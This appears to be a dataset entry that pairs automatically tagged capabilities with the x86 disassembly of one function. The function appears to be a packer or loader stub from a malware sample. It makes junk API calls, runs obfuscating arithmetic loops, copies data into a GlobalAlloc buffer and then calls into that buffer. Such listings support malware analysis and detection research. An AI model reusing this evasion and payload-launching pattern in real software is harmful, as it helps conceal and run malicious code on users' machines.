Function at 0x40352e
Capabilities:
Access the windows event log
Get hostname
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1520
call fcn.00410700
push esi
xor esi, esi
cmp dword [0x463784], 0x412
push edi
jne 0x40358d
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
push esi
push esi
call dword [sym.imp.ole32.dll_WriteFmtUserTypeStg]
push esi
call fcn.00405195
push esi
call fcn.004051ab
pop ecx
pop ecx
call fcn.00404e20
lea eax, [ebp - 0x120]
push eax
call fcn.00404d22
lea eax, [ebp - 0x120]
call fcn.00404d5d
add dword [0x463784], 0xb2d3b
push dword [0x463784]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x463550], eax
call fcn.00403479
xor edi, edi
cmp dword [0x463784], esi
jbe 0x4035ee
mov eax, dword [0x463788]
mov al, byte [eax + edi + 0xb2d3b]
mov ecx, dword [0x463550]
mov byte [ecx + edi], al
cmp dword [0x463784], 0x292
jne 0x4035e5
push 0x402ed8
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
inc edi
cmp edi, dword [0x463784]
jb 0x4035b8
xor edi, edi
mov eax, dword [0x463784]
add eax, edi
cmp eax, 0x5e
jne 0x403655
push esi
push esi
lea eax, [ebp - 0xd20]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push esi
lea eax, [ebp - 0x520]
push eax
push esi
push 0x402efc
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x402f18
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
lea eax, [ebp - 4]
push eax
push esi
lea eax, [ebp - 0x1520]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
inc edi
cmp edi, 0x40c893
jl 0x4035f0
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x1b9ca9f
jge 0x403dc3
mov dword [ebp - 0x98], 0x3a2c352d
mov dword [ebp - 4], 0x7aad4157
mov dword [ebp - 0xf0], 0x5a860e8b
mov dword [ebp - 0xcc], 0x28864133
mov dword [ebp - 0x14], 0x21120a62
mov dword [ebp - 0xbc], 0x105c58a6
mov dword [ebp - 0x60], 0x75e9006b
mov dword [ebp - 0xe8], 0xc5ddc0a
mov dword [ebp - 0x5c], 0x29389abe
mov dword [ebp - 0x90], 0x36fa7059
mov dword [ebp - 0xa8], 0x4c9c8d5
mov dword [ebp - 0x88], 0x42efc807
mov dword [ebp - 0xe0], 0x4016f83
mov dword [ebp - 0x80], 0x3a282f64
mov dword [ebp - 0x9c], 0x60ddf8c2
mov dword [ebp - 0x50], 0x28e4a682
mov dword [ebp - 0x108], 0xe40a4bb
mov dword [ebp - 0x7c], 0x63963ea6
mov dword [ebp - 0xd8], 0x1c3764fb
mov dword [ebp - 0x1c], 0x46b7de6a
mov dword [ebp - 0x48], 0x36ed3c92
mov dword [ebp - 0xac], 0x3b6168f4
mov dword [ebp - 0xd0], 0x4e02a95b
mov dword [ebp - 0x54], 0x5fc43a3b
mov dword [ebp - 0x10], 0x47bb2b7b
mov dword [ebp - 0x40], 0x15591ae4
mov dword [ebp - 0x100], 0x2084bf71
mov dword [ebp - 0xc], 0x680949c1
mov dword [ebp - 0x2c], 0x5168b893
mov dword [ebp - 0xc8], 0x656c34fd
mov dword [ebp - 0xb4], 0x433246f9
mov dword [ebp - 8], 0x50c3759f
mov dword [ebp - 0x104], 0x5fdb0586
mov dword [ebp - 0x38], 0x4e1dbd55
mov dword [ebp - 0x3c], 0x575c9b96
mov dword [ebp - 0xc0], 0x3756b7af
mov dword [ebp - 0x8c], 0x17f0365f
mov dword [ebp - 0x64], 0x142b3c1e
mov dword [ebp - 0x30], 0x1af9c6b2
mov dword [ebp - 0x28], 0x360c446
mov dword [ebp - 0xf4], 0x299ea3f3
mov dword [ebp - 0xb8], 0x64928b23
mov dword [ebp - 0x74], 0x44a70cc6
mov dword [ebp - 0xb0], 0x747d5b06
mov dword [ebp - 0xa0], 0x45d26d37
mov dword [ebp - 0x20], 0x5020e88c
mov dword [ebp - 0x4c], 0x48e88ffe
mov dword [ebp - 0xfc], 0xc9fe63b
mov dword [ebp - 0xc4], 0x5c072468
mov dword [ebp - 0x94], 0x5f0c7ec4
mov dword [ebp - 0x78], 0x3db0d8df
mov dword [ebp - 0x18], 0xd8eb7e3
mov dword [ebp - 0xf8], 0x1a9abfcd
mov dword [ebp - 0xe4], 0x5a879e4c
mov dword [ebp - 0x84], 0x80c13fe
mov dword [ebp - 0x6c], 0x201c4558
mov dword [ebp - 0x34], 0xdea6257
mov dword [ebp - 0xdc], 0x67396de
mov dword [ebp - 0x68], 0x330246f6
mov dword [ebp - 0x70], 0x7e1c5462
mov dword [ebp - 0xd4], 0x6f85e85c
mov dword [ebp - 0xec], 0x4300fdf4
mov dword [ebp - 0x24], 0x1fe700d4
mov dword [ebp - 0x58], 0x2e3fc130
mov dword [ebp - 0xa4], 0x5ec6d18a
mov dword [ebp - 0x44], 0x29754a91
sub dword [ebp - 0x98], 0x3cbe95ad
sub dword [ebp - 0x98], 0x39486c96
sub dword [ebp - 0x98], 0x6671dfbe
add dword [ebp - 0x98], 0x47eb2f8d
sub dword [ebp - 4], 0x6cda120e
mov eax, 0x7c17682d
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 0x98], 0x1c79df50
mov eax, 0x6c1b3345
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov eax, 0x432f19f
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 0xf0], 0x57c82681
sub dword [ebp - 0xf0], 0x3803a59a
add dword [ebp - 4], 0x6bdbbc1a
mov eax, 0x70c01310
mul dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
add dword [ebp - 0xf0], 0x78c2cc21
add dword [ebp - 4], 0x7dd75b47
mov eax, 0x37a07354
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x65156139
sub dword [ebp - 0xcc], 0x5bf718da
mov eax, 0x2f559c67
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
add dword [ebp - 0xbc], 0x7b4b688c
add dword [ebp - 0x14], 0x6823d68e
mov eax, 0x1e2ae7aa
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, 0x5c020f0b
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x6380931e
mul dword [ebp - 4]
mov eax, dword [ebp - 4]
sub dword [ebp - 4], 0x38e6e141
mov eax, 0x7f36a5
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
add dword [ebp - 0x14], 0x6eb513c4
mov eax, 0x14971c26
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
sub dword [ebp - 0xbc], 0xdd09bc
sub dword [ebp - 4], 0x76aa015a
sub dword [ebp - 0x5c], 0x23ae01f2
add dword [ebp - 0x14], 0x66f92378
add dword [ebp - 0x7c], 0x42fea460
mov eax, 0x72da7f51
mul dword [ebp - 0xa8]
mov eax, dword [ebp - 0xa8]
add dword [ebp - 0xa8], 0x5c003499
sub dword [ebp - 0x14], 0xeff5859
add dword [ebp - 0x98], 0x451acef5
sub dword [ebp - 0x60], 0x3ed8d314
mov eax, 0x46f26c23
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
add dword [ebp - 0x108], 0x2af778d0
add dword [ebp - 0x50], 0x15999189
add dword [ebp - 0x9c], 0x6ba5168f
mov eax, 0x4f70433
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
sub dword [ebp - 0x50], 0x2158071f
sub dword [ebp - 0x9c], 0x448fbdc5
sub dword [ebp - 0x98], 0x28e9e5e6
sub dword [ebp - 0x5c], 0x4e5ca40c
mov eax, 0xc6c2425
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x411048b5
mul dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe8]
add dword [ebp - 0x108], 0x2b1d839f
sub dword [ebp - 0xe0], 0x2b3b6ff3
mov eax, 0x70c9d633
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
sub dword [ebp - 0x80], 0x45e3b2a
mov eax, 0x8a62c73
mul dword [ebp - 0xd8]
mov eax, dword [ebp - 0xd8]
sub dword [ebp - 0x60], 0x2d78f0be
sub dword [ebp - 0xa8], 0x66a2fb42
sub dword [ebp - 4], 0x715c3eb9
sub dword [ebp - 0x48], 0x3696d0a
sub dword [ebp - 0xbc], 0x6f53b915
add dword [ebp - 0x7c], 0x724258e5
add dword [ebp - 0xe8], 0x2527bac8
add dword [ebp - 0x108], 0x247b7248
add dword [ebp - 0x80], 0x7f692935
mov eax, 0x46a9c474
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
sub dword [ebp - 0xc8], 0x6ee8182c
add dword [ebp - 0x14], 0x4059b6d5
sub dword [ebp - 0x50], 0x2c3b5a0
sub dword [ebp - 0xd0], 0x446d38e
sub dword [ebp - 0xbc], 0x37a6c4a1
add dword [ebp - 0xc0], 0x378a3504
sub dword [ebp - 0xc0], 0x372fe2c4
mov eax, 0x5c5532cb
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
add dword [ebp - 0x50], 0x45d77906
add dword [ebp - 0x1c], 0x59899d02
mov eax, 0x2a95e8e3
mul dword [ebp - 0x60]
mov eax, dword [ebp - 0x60]
sub dword [ebp - 0xa8], 0x39e1d724
add dword [ebp - 0x104], 0x66736ab0
mov eax, 0x3e5466a
mul dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
mov eax, 0x6aa5d833
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 0x1c], 0x711fab9b
sub dword [ebp - 0x64], 0x7fa38aeb
sub dword [ebp - 0x60], 0x30f9fea0
add dword [ebp - 0x50], 0x7749e8ff
add dword [ebp - 0xc0], 0x2ca3eec3
add dword [ebp - 0x14], 0x7afc25b7
add dword [ebp - 0x54], 0x783e9fba
mov eax, 0x1d92e92c
mul dword [ebp - 0xb8]
mov eax, dword [ebp - 0xb8]
add dword [ebp - 0x40], 0x12ecec59
mov eax, 0x3f66c517
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
mov eax, 0x2afa7cc0
mul dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov eax, 0x2f331d7b
mul dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
add dword [ebp - 0x48], 0x1a44f09d
sub dword [ebp - 0x88], 0x78796738
add dword [ebp - 0x80], 0x2e35ac65
mov eax, 0x4bed2c84
mul dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
add dword [ebp - 4], 0x646df140
add dword [ebp - 0xb4], 0x12212ba1
sub dword [ebp - 0xd0], 0x656004ef
mov eax, 0x47946fc1
mul dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov eax, 0x2ee0cd80
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
add dword [ebp - 0x28], 0x4741f98b
add dword [ebp - 0x5c], 0x699701c8
add dword [ebp - 0x104], 0x4ba7ffc
add dword [ebp - 0x40], 0x52e2b6f4
sub dword [ebp - 0x4c], 0x7e21f46d
mov eax, 0x4538f65b
mul dword [ebp - 0xbc]
mov eax, dword [ebp - 0xbc]
sub dword [ebp - 0xf0], 0x56c53ec4
add dword [ebp - 0xb4], 0x56dbccd5
mov eax, 0x47954937
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, 0x770f2fe6
mul dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
add dword [ebp - 0x9c], 0x3b17ce50
add dword [ebp - 0x90], 0x3bab97c8
sub dword [ebp - 0x40], 0x3cf44294
add dword [ebp - 0xc8], 0x5fe26b10
add dword [ebp - 0xc4], 0x35c5630
mov eax, 0xd6d7445
mul dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, 0x6bb6a884
mul dword [ebp - 0xf4]
mov eax, dword [ebp - 0xf4]
add dword [ebp - 0xcc], 0x21b438
mov eax, 0x47c231d9
mul dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
sub dword [ebp - 0x1c], 0x15b4a2cf
sub dword [ebp - 0xb4], 0x4dbfadd7
add dword [ebp - 0x48], 0x48783634
sub dword [ebp - 0x74], 0x7629c9b
sub dword [ebp - 0x18], 0x4dc56f95
mov eax, 0x4c950f98
mul dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov eax, 0x74977925
mul dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
mov eax, 0x6b9f8b3b
mul dword [ebp - 0xd4]
mov eax, dword [ebp - 0xd4]
sub dword [ebp - 0x84], 0x3287089e
sub dword [ebp - 0xcc], 0x4ec7110e
sub dword [ebp - 0x5c], 0x1d578906
sub dword [ebp - 0x74], 0x1dff0446
mov eax, 0x515be073
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
cmp edi, 0x1b3b22e
jg 0x403dde
inc edi
cmp edi, 0x16fe0540
jl 0x403660
call fcn.004033cb
xor ecx, ecx
cmp ecx, 0x770e
jne 0x403df2
call fcn.0040345f
inc ecx
cmp ecx, 0x286b97d
jl 0x403de5
push 0x7b
pop edi
cmp dword [0x463784], 0x86
jne 0x403e14
push esi
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
cmp dword [0x463784], 0xf
jne 0x403e2c
push esi
lea eax, [ebp - 0x520]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
dec edi
jne 0x403dfe
mov edi, 0x184cc
cmp dword [0x463784], 0x1833b
jne 0x403e6f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x520]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push esi
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push esi
push esi
lea eax, [ebp - 0x920]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
dec edi
jne 0x403e34
call fcn.004031ce
call dword [0x463550]
pop edi
pop esi
leave
ret